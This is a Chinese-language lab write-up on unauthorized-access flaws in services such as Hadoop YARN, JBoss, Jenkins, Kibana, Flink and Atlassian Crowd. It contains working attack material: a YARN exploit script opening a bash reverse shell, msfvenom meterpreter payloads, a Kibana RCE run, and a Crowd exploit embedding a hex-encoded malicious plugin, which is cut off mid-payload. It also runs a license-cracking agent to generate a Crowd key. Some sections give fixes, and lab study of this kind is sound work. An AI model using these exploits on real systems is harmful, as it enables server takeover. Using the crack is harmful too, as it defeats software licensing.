Please input "help [command]" show detail.status [-l]                      - Show status.pwd                              - Print working default service.trace [service] [method] [times] - Trace the service.exit                             - Exit the telnet.help [command]                   - Show help.invoke [service.]method(args)    - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines]                    - Clear screen.ls [-l] [service]                - List services and methods.log level                        - Change log level or show log ps [-l] [port]                   - Print server ports and connections.cd [service]                     - Change default service.
dubbo>status
OK
dubbo>pwd
/

如果服務具有命令執行功能,則使用 “invoke” 命令可能會執行命令,因為 “invoke” 命令用于調用特定的服務方法。

Hadoop YARN resourcemanager 未授權訪問漏洞

漏洞描述

負責對資源進行同一管理調度的ReasourceManager組件的UI管理界面開放在8080/8088端口,攻擊者無需認證即可通過REST API部署任務來執行任意命令,最終可完全控制集群中所有的機器。

環境搭建

使用vulhub

[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml  exploit.py  README.md[root@localhost ~]# docker-compose up

訪問8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。

漏洞利用

啟動nc

[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

攻擊腳本

[root@localhost unauthorized-yarn]# cat exploit.py 
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

成功攻擊成功

Hadoop Yarn RPC未授權訪問漏洞

漏洞簡述

Hadoop Yarn作為Hadoop核心組件之一,負責將資源分配至各個集群中運行各種應用程序,并調度不同集群節點上的任務執行。Hadoop Yarn默認對外開放RPC服務,攻擊者可利用RPC服務執行任意命令,控制服務器。

同時由于Hadoop Yarn RPC服務訪問控制機制開啟方式與REST API不一樣,因此即使在 REST API有授權認證的情況下,RPC服務所在端口仍然可以未授權訪問。

環境搭建

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

需要修改docker-compose.yml,添加8032端口映射。

curl請求8032端口。

[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.

漏洞利用

EXP:https://github.com/cckuailong/YarnRpcRCE

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.

查看日志

反彈shell

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"

成功建立連接

[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001# 

漏洞修復

  1. Apache Hadoop官方建議用戶開啟Kerberos認證。
  2. 設置 Hadoop RPC服務所在端口僅對可信地址開放。
  3. 建議升級并啟用Kerberos的認證功能,阻止未經授權的訪問。

InfluxDB API 未授權訪問漏洞

JBoss未授權訪問漏洞

漏洞描述

JBoss 是一個管理 EJB 的容器和服務器,支持 EJB 1.1、EJB 2.0 和 EJB3 的規范。但 JBoss 核心服務不包括支持 servlet/JSP 的 WEB 容器,一般與 Tomcat 或 Jetty 綁定使用。JBoss 默認在 8080 端口監聽。

在低版本的 JBoss 中,默認可以訪問 JBoss Web 控制臺(http://IP:8080/jmx-console),無需用戶名和密碼。通過 JBoss 未授權訪問管理控制臺的漏洞,可以進行后臺服務管理,可以通過腳本命令執行系統命令,如反彈 shell、wget 寫 Webshell 文件。

環境搭建

這里用CVE-2017-7504的漏洞環境,啟動環境

[root@localhost CVE-2017-7504]# docker-compose up

瀏覽器訪問8080端口

漏洞復現

發現jboss默認頁面,點擊進入控制頁

假設是未授權訪問的話,點擊JMX-Console不會提示輸入用戶名、密碼,而這個地方用的是別的漏洞的環境,用戶名密碼都是admin、admin,所以就假裝是不用輸入用戶名密碼的

往下找jboss.deployment進入應用部署頁面

進入應用部署頁面后,下滑找到void addURL(),這里ParamValue部分填寫遠程服務器上的木馬的地址。

訪問iceword路徑,就可以看到webshell

Jenkins未授權訪問漏洞

漏洞描述

部署Jenkins 1.62版本,將全局授權策略打開,目前新版本的Jenkins已默認需要用戶登錄,但老版的中默認配置是"任意用戶可以做任何事",存在未授權訪問的問題。

環境搭建

選擇1.62版本進行下載,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war

將WAR包丟到tomcat的webapps里面,啟動tomcat

漏洞復現

進入管理頁面:http://192.168.32.131:8080/jenkins/manage

進入腳本命令行,后綴輸入script進入腳本命令行,輸入:println "ls".execute().text,就可以執行ls命令。

Jupyter Notebook 未授權訪問漏洞

漏洞描述

Jupyter Notebook(此前被稱為 IPython notebook)是一個交互式筆記本,支持運行 40 多種編程語言。

如果管理員未為 Jupyter Notebook 配置密碼,將導致未授權訪問漏洞,游客可在其中創建一個 console 并執行任意 Python 代碼和命令。

環境搭建

version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"

運行后,訪問 http://your-ip:8888 將看到 Jupyter Notebook 的 Web 管理界面,并沒有要求填寫密碼。

漏洞復現

選擇 new -> terminal 即可創建一個控制臺:

直接執行任意命令:

Kafka Manager 未授權訪問漏洞

漏洞描述

Kafka Manager是一款用于管理和監控Apache Kafka集群的工具。如果Kafka Manager未正確配置并對外開放,攻擊者可能會未授權訪問Kafka Manager,從而獲取敏感信息,如Kafka集群的配置和使用情況。

此外,如果攻擊者具有足夠的權限,他們還可以操作Kafka集群,如創建主題、修改配置等,對系統造成威脅。

環境搭建

zookeeper

docker run -d  -p 2181:2181 -e TZ="Asia/Shanghai" wurstmeister/zookeeper:latest

kafka-manager

docker run -d -p 9000:9000 -e ZK_HOSTS=192.168.32.183:2181 sheepkiller/kafka-manager:latest

漏洞利用

訪問9000端口,即可未授權訪問Kafka管理界面

查看集群信息。

Kibana 未授權訪問漏洞

漏洞描述

Kibana 未授權訪問漏洞是指在 Kibana 未正確配置認證和授權的情況下,未經身份驗證的用戶可以訪問 Kibana 的儀表板、數據及其他敏感信息。這種漏洞可能會導致數據泄露、攻擊者控制 Kibana 環境以及其他安全威脅。

環境搭建

安裝elasticsearch

cd /opt
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
tar -zxvf elasticsearch-6.5.3.tar.gz
cd elasticsearch-6.5.3
useradd es
chmod 777 -R /opt/elasticsearch-6.5.3
./bin/elasticsearch

安裝kibana

wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
tar xvf kibana-6.5.3-linux-x86_64.tar.gz
cd kibana-6.5.3-linux-x86_64
./bin/kibana

瀏覽器訪問5601端口。

漏洞利用

exp:https://github.com/LandGrey/CVE-2019-7609

[root@localhost CVE-2019-7609-master]# python CVE-2019-7609-kibana-rce.py -u 127.0.0.1:5601 -host 192.168.32.130 -port 9999 --shell
[+] http://127.0.0.1:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.32.130:9999

Kong未授權訪問漏洞

漏洞描述

Kong未授權訪問漏洞(CVE-2020-11710)是指在Kong API網關系統中存在未授權訪問漏洞,攻擊者可以利用該漏洞獲取或修改管理員憑證、讀取任意文件以及遠程執行任意代碼。該漏洞由于Kong API網關系統未對請求進行嚴格驗證導致。

影響版本

Kong < V2.0.3

環境搭建

創建Docker網絡

[root@localhost ~]# docker network create kong-net
8c13241e04425db93e67c0c69c1adb7ca8adcb2701d67b43f2c20f4e76b9d613

拉取并啟動PostgreSQL容器

docker run -d  --network=kong-net  -p 5432:5432 -e "POSTGRES_USER=kong"   -e "POSTGRES_DB=kong"  -e "POSTGRES_PASSWORD=kong"  postgres:9.6

數據庫安裝后,可進入postgres容器,創建kong用戶及數據庫kong

docker exec -it container_id /bin/bash
#切換用戶
su postgres
#進入命令
psql;
#創建用戶kong及密碼
create user kong with password 'kong';
#創建數據庫kong
create database kong owner kong;
#查看創建后的數據庫(可省)
\l

初始化數據庫

docker run --rm \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_USER=kong" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \kong:2.0.2 kong migrations bootstrap

啟動kong

docker run -it  \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \-e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \-e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \-e "KONG_PROXY_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \-p 8000:8000 \-p 8443:8443 \-p 8001:8001 \-p 8444:8444 \kong:2.0.2

漏洞利用

訪問http://192.168.32.130:8000

利用 Admin Restful API ,在Kong Gateway上注冊一個新的"服務"(web API) 指向內網的敏感站點 http://192.168.32.130:8000

$ curl -i -X POST http://127.0.0.1:8001/services --data name=target --data url='http://192.168.32.130:8000'

添加一個路由,paths[]的值為 /site1,name的值為 111111

curl -i -X POST http://127.0.0.1:8001/services/target/routes  --data 'paths[]=/site1' --data 'name=111111'

Kubernetes Api Server 未授權訪問

漏洞描述

Kubernetes 的服務在正常啟動后會開啟兩個端口:Localhost Port (默認8080)、Secure Port (默認6443)。這兩個端口都是提供 Api Server 服務的,一個可以直接通過 Web 訪問,另一個可以通過 kubectl 客戶端進行調用。如果運維人員沒有合理的配置驗證和權限,那么攻擊者就可以通過這兩個接口去獲取容器的權限。

環境搭建

ubuntu 18.04

下載

wget https://github.com/kubernetes/minikube/releases/download/v1.18.1/minikube-linux-amd64
mv minikube-linux-amd64 minikube
chmod 777 minikubewget "https://storage.googleapis.com/kubernetes-release/release/v1.18.3/bin/linux/amd64/kubectl" -O "/usr/local/bin/kubectl"
chmod 755 /usr/local/bin/kubectl

啟動K8S

sudo sysctl -w net/netfilter/nf_conntrack_max=131072
./minikube start --kubernetes-version=v1.18.3 --force --driver=docker  --extra-config=apiserver.anonymous-auth=true

啟動儀表盤

root@l-virtual-machine:/opt# ./minikube dashboard
* Enabling dashboard ...- Using image kubernetesui/dashboard:v2.1.0- Using image kubernetesui/metrics-scraper:v1.0.4
* Verifying dashboard health ...
* Launching proxy ...
* Verifying proxy health ...
http://127.0.0.1:35293/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/

把K8S API映射出去

root@l-virtual-machine:/opt# kubectl proxy  --port=8088 --address='0.0.0.0' --accept-hosts='^.*'
Starting to serve on [::]:8088

漏洞檢測

儀表盤

http://192.168.32.141:8088/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/#/overview?namespace=default

漏洞修復

  • 進行授權認證;
  • 使用Service Account令牌;
  • 設置防火墻策略,限定IP訪問服務;

LDAP未授權訪問漏洞

介紹

LDAP的全稱為Lightweight Directory Access Protocol(輕量級目錄訪問協議), 基于X.500標準, 支持 TCP/IP。

LDAP目錄為數據庫,通過LDAP服務器(相當于DBMS)處理查詢和更新, 以樹狀的層次結構來存儲數據,相對關系型數據庫, LDAP主要是優化數據讀取的性能,適用于比較少改變、跨平臺的信息。

LDAP屬性

屬性全名描述
dndistinguished name唯一標識名,類似于絕對路徑,每個對象都有唯一標識名。 例如:uid=tester,ou=People,dc=example,dc=com
rdnrelative相對標識名,類似于相對路徑。 例如:uid=tester
uiduser id通常指用戶登錄名。 例如:uid=tester
snsur name通常指一個人的姓氏。 例如:sn: Su
giveName通常指一個人的名字。 例如:giveName: Aldwin
I通常指一個地方的地名。 例如:I: Beijing
objectClassobjectClass是特殊屬性,包含數據存儲的方式以及相關屬性信息。
dcdomain component通常指定一個域名。 例如:dc=example,dc=com
ouorganization unit通常指定一個組織單元的名稱。 例如:ou=people,dc=example,dc=com
cncommon name通常指一個對象的名稱。如果是人,需要使用全名。
ccountry一個二位的國家代碼。 例如:CN、US、HK、JP等。

環境搭建

docker run -p 389:389 -p 636:636 --name my-openldap-container --detach osixia/openldap:1.5.0

漏洞復現

docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin

Memcached未授權訪問漏洞

漏洞描述

Memcached是一個高速緩存系統,用于存儲網絡上的大量動態數據。未授權訪問漏洞指的是,在沒有對Memcached的訪問控制的情況下,任意人可以在未經授權的情況下訪問和讀取存儲在Memcached中的數據。這可能導致敏感信息泄露,包括用戶密碼、信用卡信息等。

環境搭建

wget http://memcached.org/files/old/memcached-1.4.14.tar.gz
tar -zxvf memcached-1.4.14.tar.gz
cd memcached-1.4.14.tar.gz
./configure && make && make test && sudo make install

啟動Memcached

漏洞利用

掃描端口

[root@localhost bin]# nmap -p 11211 -sV 192.168.32.183Starting Nmap 6.40 ( http://nmap.org ) at 2022-07-26 06:35 EDT
Nmap scan report for 192.168.32.183
Host is up (0.000052s latency).
PORT      STATE SERVICE   VERSION
11211/tcp open  memcached Memcached 1.4.14Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds

緩存管理命令:

stats 命令的功能正如其名:轉儲所連接的 memcached 實例的當前統計數據。在下例中,執行 stats 命令顯示了關于當前 memcached 實例的信息

以上信息顯示了當前的流量統計。它服務于連接數量、數據存儲到緩存中、緩存命中率以及有關內存使用情況的詳細信息以及通過用于存儲單個項目的平板分配信息的分布。

flush_all 命令。這個最簡單的命令僅用于清理緩存中的所有名稱/值對。如果您需要將緩存重置到干凈的狀態。

統計slabs信息

使用msf找到key

msf6 > search memcached_extractorMatching Modules
================#  Name                                  Disclosure Date  Rank    Check  Description-  ----                                  ---------------  ----    -----  -----------0  auxiliary/gather/memcached_extractor                   normal  No     Memcached ExtractorInteract with a module by name or index. For example info 0, use 0 or use auxiliary/gather/memcached_extractormsf6 > use auxiliary/gather/memcached_extractor
msf6 auxiliary(gather/memcached_extractor) > show optionsModule options (auxiliary/gather/memcached_extractor):Name     Current Setting  Required  Description----     ---------------  --------  -----------RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT    11211            yes       The target port (TCP)THREADS  1                yes       The number of concurrent threads (max one per host)msf6 auxiliary(gather/memcached_extractor) > set rhosts 192.168.32.183
rhosts => 192.168.32.183
msf6 auxiliary(gather/memcached_extractor) > run[+] 192.168.32.183:11211  - Found 0 keys
[*] 192.168.32.183:11211  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ActiveMQ未授權訪問漏洞

漏洞描述

Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。
Apache ActiveMQ管理控制臺的默認管理用戶名和密碼分別為admin和admin,用戶可以未經授權使用默認憑據直接訪問服務器,導致敏感信息泄露,并進一步進行攻擊。

環境搭建

Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz

[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')

Vulnerability Reproduction

直接訪問:http://192.168.32.183:8161/admin/queues.jsp

修復方案

編輯 ${ACTIVEMQ_HOME}/conf/jetty.xml開啟身份驗證,將authenticate屬性改為true:

<property name="authenticate" value="true" />

編輯文件conf/jetty-realm.properties來更改Apache ActiveMQ的默認管理用戶名和密碼,格式如下:

重啟服務就可以進行鑒權

Apache Flink未授權訪問漏洞

漏洞描述

Apache Flink Dashboard默認沒有用戶權限認證,攻擊者可以通過未授權的Flink Dashboard控制臺直接上傳木馬jar包,可遠程執行任意系統命令獲取服務器權限。

環境搭建

測試版本:flink-1.15.1

修改flink-1.15.1/confflink-conf.yaml,將8081端口開啟。

啟動flink

start-cluster.sh

漏洞利用

訪問web頁面。

利用msfovenom生成rce.jar

┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes

配置msf監聽

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

在Submit New Job處上傳rec.jar文件,點擊submit。

成功getshell。

Atlassian Crowd 未授權訪問漏洞

CVE-2019-11580

漏洞概述

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些發行版本中錯誤地啟用了了pdkinstall開發插件,使其存在安全漏漏洞洞。攻擊者利用該漏洞可在未授權訪問的情況下對Atlassian Crowd和Crowd Data Center安裝任意的惡意插件,執行任意代碼/命令,從而獲得服務器權限

影響版本

  • 2.1.0 <= version < 3.0.5
  • 3.1.0 <= version < 3.1.6
  • 3.2.0 <= version < 3.2.8
  • 3.3.0 <= version < 3.3.5
  • 3.4.0 <= version < 3.4.4

環境搭建

下載搭建Atlassian-crowd-3.4.3,配置漏洞環境,下載crowd3.4.3的版本

wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip

修改配置文件

[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties

更改主目錄的路徑

啟動crowd

[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh 
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.

訪問8095端口

得到服務器 id B1DP-2T7V-FIPR-PEBO 后通過破解程序atlassian-agent.jar獲取許可證信息

生成破解碼

[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
=======     Atlassian Crack Agent v1.3.1     =======
=======           https://zhile.io           =======
=======          QQ Group: 30347511          =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4

安裝完成

漏洞利用

CVE-2019-11580.py利用腳本

import requests
import sysbanner = '''\n   _______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2e